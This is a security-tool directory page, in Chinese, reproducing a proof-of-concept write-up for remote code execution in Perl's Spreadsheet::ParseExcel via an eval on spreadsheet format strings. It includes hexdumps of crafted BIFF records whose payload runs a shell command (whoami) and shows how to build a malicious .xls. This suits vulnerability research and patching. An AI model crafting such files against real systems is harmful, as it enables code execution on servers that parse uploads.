Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
perl_spreadsheet_excel_rce_poc — ParseExcel 库及依赖库 ParseXLSX 中 RCE 漏洞的 POC | Kitploit
工具/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Payload 开发二进制利用
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

ParseExcel 库及依赖库 ParseXLSX 中 RCE 漏洞的 POC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
18692年前尚未审核
分享

ParseExcel 安全漏洞

TL;DR:解析格式字符串的逻辑导致 RCE。

漏洞利用简要说明

利用的根本原因在于 Utility.pm 中对未经验证的用户输入调用了 eval。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

根据我的检查,此流程的当前实现缺乏适当的验证,同时在此场景下使用 eval 处理比较逻辑有些“杀鸡用牛刀”。因此,ParseExcel::parse 和 ParseXLSX::parse(用于从 Excel 文件读取数据)都容易受到 RCE 攻击。

$format_str 从哪来?

ValFmt 是最有可能调用 ExcelFmt 的地方,所以我将进一步说明这个方法。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

如果 $oCell->{Type} 是 Date 或 Number,则会调用 ExcelFmt。

$format_str 的值来自另一个方法:FmtString。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

这里还调用了另一个函数,所以我们还要看看 FmtStringDef。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

所有变量都已明确,我们可以得出如下攻击向量:

  • 注入索引为 $iFmtIdx 的恶意格式字符串
  • 确保某个单元格格式 $oBook->{Format}[$cellFmtIdx] 映射到 $iFmtIdx
  • 确保某个单元格映射到该单元格格式($oCell->{FormatNo} = $cellFmtIdx)

![[flow 1.png]]

在下面的章节中,我将详细介绍载荷如何将 shell 代码传播到 eval 命令。分为两个部分:使用 ParseExcel 解析 .xls 文件,以及使用 ParseXLSX 解析 .xlsx 文件。

PoC

为了演示,下面是我们构造的恶意 Excel 文件(.xls 和 .xlsx)的链接,它会运行 whoami 并将结果保存到 /tmp/inject.txt 文件。

https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

对 XLS 文件的利用

以下面这个使用 ParseExcel::parse 解析 xls 文件的简单 Perl 程序为例。RCE 将在解析过程中发生,甚至在获取任何数据之前。

use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

注入格式字符串

Excel 97 二进制文件由多个称为 BIFF 记录的二进制数据块组成。每条记录以一个称为 opCode 的头部(小端序)开始,后面是该记录的长度及其实际数据。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

之后,会使用相应记录类型的处理程序来提取该 BIFF 记录数据。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

格式字符串由 _subFormat 处理,其 opCode = 0x41E。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

我不确定我的 .xls 文件使用的是哪个 BIFF 版本,但根据二进制文件中的数据,它应该匹配 else 分支(> verBIFF5)。

在较新的 BIFF 版本中,格式字符串记录的结构应为

1E 04 [记录长度 - 2 字节] [格式字符串索引 - 2 字节] [格式字符串长度 - 1 字节] [字符串标志 - 2 字节] [格式字符串内容]

按照正确的结构,我可以向 .xls 文件中注入任意格式字符串。

我在 PoC 中注入的实际格式字符串 BIFF 记录(格式字符串索引为 \x00\xa5)

00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

将单元格格式映射到格式字符串

单元格格式定义单元格的许多属性,例如格式字符串、样式、字体等。一个单元格格式可以通过在其 BIFF 记录中包含格式字符串的索引来链接到一个格式字符串。该逻辑由 _subXf 处理。

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558

sub _subXF {
    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    
    #...

    if ( $oBook->{BIFFVersion} == verBIFF4 ) {
        #...
    }
    elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
        my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );

        ( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
          = unpack( "v7Vv", $sWk );
        #...
    }
    else {
        ( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
          unpack( "v8", $sWk );
        #...
    }

    push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
        FontNo => $iFnt,
        Font   => $oBook->{Font}[$iFnt],
        FmtIdx => $iIdx, # <- the index that points to format string index
        #...
    );
}

由于我们的 BIFFVersion 大于 BIFF5,因此条件不应进入第一种情况。对于另外两种情况,我们知道 $iIdx 是 BIFF 数据中的第二个字。所以这一步也很容易实现。

我在 PoC 中使用的实际单元格格式 BIFF 记录

00000000: e000 1400 0000 a500 f5ff 2000 0000 0000  .......... .....
                         ^^^^
                  format string index
00000010: 0000 0000 0000 c020                      .......

此外,单元格格式通过其在列表中的索引来标识,因此我修改了第一条记录,那么我的单元格格式索引应为 0。

将单元格映射到单元格格式

下载工具